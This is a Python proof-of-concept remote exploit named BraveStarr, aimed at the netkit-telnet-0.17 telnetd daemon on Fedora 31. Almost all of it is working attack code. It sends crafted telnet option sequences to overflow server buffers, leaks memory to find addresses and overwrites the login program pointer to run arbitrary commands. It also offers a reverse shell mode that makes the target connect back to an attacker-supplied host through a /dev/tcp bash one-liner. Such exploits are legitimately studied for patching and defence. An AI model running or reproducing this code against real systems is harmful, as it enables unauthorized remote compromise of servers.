#!/usr/bin/env python3 # # BraveStarr # ========== # # Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd. # # This is for demonstration purposes only. It has by no means been engineered # to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot # of other constraints are not validated. # # AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer # import argparse import base64 import fcntl import gzip import socket import struct import sys import termios import time class BraveStarr(object): SE = 240 # 0xf0 DM = 242 # 0xf2 AO = 245 # 0xf5 SB = 250 # 0xfa WILL = 251 # 0xfb WONT = 252 # 0xfc DO = 253 # 0xfd IAC = 255 # 0xff TELOPT_STATUS = 5 TELOPT_TTYPE = 24 TELOPT_NAWS = 31 TELOPT_TSPEED = 32 TELOPT_XDISPLOC = 35 TELOPT_ENVIRON = 39 TELQUAL_IS = 0 TELQUAL_SEND = 1 TELQUAL_INFO = 2 NETIBUF_SIZE = 8192 NETOBUF_SIZE = 8192 # Data segment offsets of interesting variables relative to `netibuf'. netibuf_deltas = { 'loginprg': -34952, 'state_rcsid': -34880, 'subpointer': -34816, 'ptyslavefd': -34488, 'environ': -33408, 'state': -33268, 'LastArgv': -26816, 'Argv': -26808, 'remote_host_name': -26752, 'pbackp': -9232, 'nbackp': 8192 } def __init__(self, host, port=23, timeout=5, callback_host=None): self.host = host self.port = port self.sd = None self.timeout = timeout self.leak_marker = b"MARKER|MARKER" self.addresses = {} self.values = {} if callback_host is not None: self.chost = bytes(callback_host, 'ascii') def fatal(self, msg): print(msg, file=sys.stderr) sys.exit(1) def connect(self): self.sd = socket.create_connection((self.host, self.port)) # Try to ensure the remote side will read a full 8191 bytes for # `netobuf_fill' to work properly. self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191) def address_delta(self, name1, name2): return self.addresses[name1] - self.addresses[name2] def address_serialize(self, name): return struct.pack("<Q", self.addresses[name]) def ao(self): return b"%c%c" % (self.IAC, self.AO) def do(self, cmd): return b"%c%c%c" % (self.IAC, self.DO, cmd) def sb(self): return b"%c%c" % (self.IAC, self.SB) def se(self): return b"%c%c" % (self.IAC, self.SE) def will(self, cmd): return b"%c%c%c" % (self.IAC, self.WILL, cmd) def wont(self, cmd): return b"%c%c%c" % (self.IAC, self.WONT, cmd) def tx_flush(self): while self.tx_len() != 0: time.sleep(0.2) def tx_len(self): data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, " ") return struct.unpack('i', data)[0] def netobuf_fill(self, delta): # This populates the prefix of `netobuf' with IAC WONT SB triplets. # This is not relevant now, but during the next time data is sent and # `netobuf' will be reprocessed in `netclear' will calls `nextitem'. # The `nextitem' function will overindex past `nfrontp' and use these # triplets in the processing logic. s = self.do(self.SB) * delta # IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set # `neturg' to the DM byte in `netobuf'. s += self.ao() # In this request, every byte in `netibuf' will store a byte in # `netobuf'. Here we ensure that all `netobuf' space is filled except # for the last byte. s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3) # We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC # triplet will write IAC to the last free byte of `netobuf'. After # this `netflush' will be called, and the DO IAC bytes will be written # to the beginning of the now empty `netobuf'. s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3) # Send it out. This should be read in a single read(..., 8191) call on # the remote side. We should probably tune the TCP MSS for this. self.sd.sendall(s) # We need to ensure this is written to the remote now. This is a bit # of a kludge, as the remote can perfectly well still merge the # separate packets into a single read(). This is less likely as the # time delay increases. To do this properly we'd need to statefully # match the responses to what we send. Alack, this is a PoC. self.tx_flush() def reset_and_sync(self): # After triggering the bug, we want to ensure that nbackp = nfrontp = # netobuf We can do so by getting netflush() called, and an easy way to # accomplish this is using the TELOPT_STATUS suboption, which will end # with a netflush. self.telopt_status() # We resynchronize on the output we receive by loosely scanning if the # TELOPT_STATUS option is there. This is not a reliable way to do # things. Alack, this is a PoC. s = b"" status = b"%s%c" % (self.sb(), self.TELOPT_STATUS) while status not in s and not s.endswith(self.se()): s += self.sd.recv(self.NETOBUF_SIZE) def telopt_status(self, mode=None): if mode is None: mode = self.TELQUAL_SEND s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se()) self.sd.sendall(self.do(self.TELOPT_STATUS)) self.sd.sendall(s) def trigger(self, delta, prefix=b"", suffix=b""): assert b"\xff" not in prefix assert b"\xff" not in suffix s = prefix # Add a literal b"\xff\xf0" to `netibuf'. This will terminate the # `nextitem' scanning for IAC SB sequences. s += self.se() s += self.do(self.IAC) * delta # IAC AO will force a call to `netclear'. s += self.ao() s += suffix self.sd.sendall(s) def infoleak(self): # We use a delta that creates a SB/SE item delta = 512 self.netobuf_fill(delta) self.trigger(delta, self.leak_marker) s = b"" self.sd.settimeout(self.timeout) while self.leak_marker not in s: try: ret = self.sd.recv(8192) except socket.timeout: self.fatal('infoleak unsuccessful.') if ret == b"": self.fatal('infoleak unsuccessful.') s += ret return s def infoleak_analyze(self, s): m = s.rindex(self.leak_marker) s = s[:m-20] # Cut 20 bytes of padding off too. # Layout will depend on build. This works on Fedora 31. self.values['net'] = struct.unpack("<I", s[-4:])[0] self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0] self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0] self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0] # Resolve Fedora 31 specific addresses. self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980 adjustment = len(max(self.netibuf_deltas, key=len)) for k, v in self.netibuf_deltas.items(): self.addresses[k] = self.addresses['netibuf'] + v def _scratch_build(self, cmd, argv, envp): # We use `state_rcsid' as the scratch memory area. As this area is # fairly small, the bytes after it on the data segment will likely # also be used. Nothing harmful is contained here for a while, so # this is okay. scratchpad = self.addresses['state_rcsid'] exec_stub = b"/bin/bash" rcsid = b"" data_offset = (len(argv) + len(envp) + 2) * 8 # First we populate all argv pointers into the scratchpad. argv_address = scratchpad for arg in argv: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(arg) + 1 rcsid += struct.pack("<Q", 0) # Next we populate all envp pointers into the scratchpad. envp_address = scratchpad + len(rcsid) for env in envp: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(env) + 1 rcsid += struct.pack("<Q", 0) # Now handle the argv strings. for arg in argv: rcsid += arg + b'\0' # And the environment strings. for env in envp: rcsid += env + b'\0' # Finally the execution stub command is stored here. stub_address = scratchpad + len(rcsid) rcsid += exec_stub + b"\0" return (rcsid, argv_address, envp_address, stub_address) def _fill_area(self, name1, name2, d): return b"\0" * (self.address_delta(name1, name2) - d) def exploit(self, cmd): env_user = b"USER=" + cmd rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user]) # The initial exploitation vector: this overwrite the area after # `netobuf' with updated pointers values to overwrite `loginprg' v = struct.pack("<Q", self.addresses['netibuf']) # netip v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp v += struct.pack("<Q", 0) # neturg v += struct.pack("<I", self.values['net']) # net v = v.ljust(48, b'\0') # padding self.netobuf_fill(len(v)) self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8) self.reset_and_sync() s = b"" s += self._fill_area('state_rcsid', 'loginprg', 8) s += rcsid s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid)) s += struct.pack("<I", 5) s += self._fill_area('environ', 'ptyslavefd', 4) s += struct.pack("<Q", envp) s += self._fill_area('LastArgv', 'environ', 8) s += struct.pack("<Q", argv) * 2 s += self._fill_area('remote_host_name', 'LastArgv', 16) s += b"-c\0" self.sd.sendall(s) self.tx_flush() # We need to finish `getterminaltype' in telnetd and ensure `startslave' is # called. self.sd.sendall(self.wont(self.TELOPT_TTYPE)) self.sd.sendall(self.wont(self.TELOPT_TSPEED)) self.sd.sendall(self.wont(self.TELOPT_XDISPLOC)) self.sd.sendall(self.wont(self.TELOPT_ENVIRON)) banner = """ H4sICBThWF4CA2JsYQC1W0ly4zAMvPsLuegJ4i5VnjJv0P+vU44TRwTBbsBy5jBVikRiaywE6GX5 s3+3+38f/9bj41/ePstnLMfz3f3PbP1kqW3xN32xx/kxxe55246Rbum/+dkCcKnx5mPi9BjSfTPJ pPwAva8VCmBg3qzQgdYaD0FD/US+J/rvITC+PP+lnkQCQOyoL4oMDhFUpM5F0Fee7UCUHlYEoAf/ 4Puw7t2zasMOcD2BAvFbomqkh3h2rxCvi+Ap5hnG53s8vB1sKj0JCzriRIrQ85jisSw+PY6hyrw8 SDfC+g3toCYyqKenmA4VBrY4WC681Uif/OtGAnTIxwTBkxD8WEF3nEVfsDCP+5yedwvjzKx71nnt 0BGJvDlTvnsDNSUOIgv+arD/c0GwkPqKaZIaUVxKDlM+Q8Pmsb8OSsF6FFYM64plS0XZAIYESSJm icYGkRMVoC2Mh8T3UOKUriTGUBhg2siCJgyZhZIz9ldqgnE53p6QHwlQhpuoxuiGOK1kup6I9A6Y ZlHvsA1iVYWwHSlUiaXQDSbfpOjAwN/MRTamLwLywQSBuEnZIEPMwnU9nAY/FnvSrOtrPolJDjyl zRMJNBG75yCeN/x9ViNt5wTBHakABFmkrSukxqL+jFvdI7MTX5l7n0s3UrjeWwp1x4DwOvFOXAuM 6IyGuG4hqy0ByqDCp6hsIlRQNpcB6qr4ave8C4MFuWDDJijOeCVKsbKxYELrmDgmoUuY/hHh6WCe 2FdJFUPzrSXgYyxKp2Hyy4yW8gsxgFRGqhr0Nc6A9lzmwIxUeuXLmc8g4SW+Vpq/XCVMocGJHixk kbha4l3fRXAcG9WzkS+I7DQDn+XZ8MmEBojsdJC8XaovVH15zkqWJLEYeobZG9sj7nIZgiVEfsB+ l7Kr7JRlZTtcdUTIyVdMezN5oamjHZPessEpI5yCONsYqJ0lP2hK/csrOJQyi1GRvqPPF1+OqCbB /5DL2fKhoUUsGH2kYZRLUGWsS3mSk6nPoDYeNZLhFEpTIiwJDaYaCnGYw3/i5c3Y6obkZx1z1Kim 3e4Yvc10wyTAPcn63hf1z2c6A63tGJOu2B7sCvbhUWcoQwIp3NLB2/CDdYX1Q8MOOsHQM2HfgIgi 1H4NP9H086s3hz7AGv362oRkRIONaA3eoW7h0kSzzFSFNkbxBzLS9pro8AMJQambmJQNuyKkDXIu cEJOyyapKc8UQOUGMNOEL1U5ApEDqnp4Ly/QkCanBDasIXBl3ZeHRkbDvTEZvbImDCk4Zr2AhXYM NNZwZzvj48YgkH5GGVoLmfNGqGIlu2bhxVmNjZ0DRzdfFo+DqyYyma3kfEV6WymzQbbMuJLikOej peaYYdpu5l+UGAas3/Npxz97HUaPuLh4KsWHgCivEkn6gbbCE6QY9oIRX5jAZBgUZphTb2O+aDOs ddnFkPMp5vRSBfoZC9tJqCnUazDZyQRutd1mmtyJfY/rlM3XldWqezpXdDlnYQcMZ0MqsNwzva96 e1nJAU/nh4s2qzPByQNHcKaw3dXuqNUx/q7kElF2shosB/Dr1nMNLoNvcpFhVBGvy364elss1JeE mQtDebG7+r/tyljmXBlfsh/t+OIgp4ymcFDjUZL1SNCkw5s5hly5MvrRnZo0TF4zmqOeUy4obBX3 N/i0CGV+0k6SJ2SG+uFHBcPYI66H/bcUt9cdY/KKJmXS1IvBcMTQtLq8cg3sgkLUG+omTBLIRF8i k/gVorFb728qz/2e2FyRikg5j93vkct9S8/wo7A/YCVl28Fg+RvO7J1Fw6+73sqJ7Td6L1Oz/vrw r/a+S/cfKpbzJTo5AAA= """ parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit") parser.add_argument('-H', '--hostname', dest='hostname', required=True, help='Target IP address or hostname') parser.add_argument('-p', '--port', dest='port', type=int, default=23, help='port number') parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10, help='socket timeout') method_parser = parser.add_subparsers(dest='method', help='Exploitation method') method_parser.required = True method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process') method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote') method_cmd_parser.add_argument('command', help='Command to execute') method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back') method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to') args = parser.parse_args() for line in gzip.decompress(base64.b64decode(banner)).split(b"\n"): sys.stdout.buffer.write(line + b"\n") sys.stdout.buffer.flush() time.sleep(0.1) t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout, callback_host=getattr(args, 'callback', None)) print(f"\u26e4 Connecting to {args.hostname}:{args.port}") t.connect() # For the `shell' method, we set up a listening socket to receive the callback # shell on. if args.method == 'shell': sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sd.bind(('0.0.0.0', 12345)) sd.listen(1) s = t.infoleak() t.infoleak_analyze(s) print("\n\u26e4 Leaked variables") print(f" netip : {t.values['netip']:#016x}") print(f" pfrontp: {t.values['pfrontp']:#016x}") print(f" neturg : {t.values['neturg']:#016x}") print(f" net : {t.values['net']}") print("\n\u26e4 Resolved addresses") adjustment = len(max(t.netibuf_deltas, key=len)) for k, v in t.netibuf_deltas.items(): print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}") if args.method == 'leak': sys.exit(0) t.reset_and_sync() if args.method == 'shell': t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost) print("\n\u26e4 Waiting for connect back shell") if args.method == 'shell': import telnetlib tclient = telnetlib.Telnet() tclient.sock = sd.accept()[0] tclient.interact() sd.close() elif args.method == 'command': print(f'\n\u26e4 Executing command "{args.command}"') t.exploit(bytes(args.command, 'ascii'))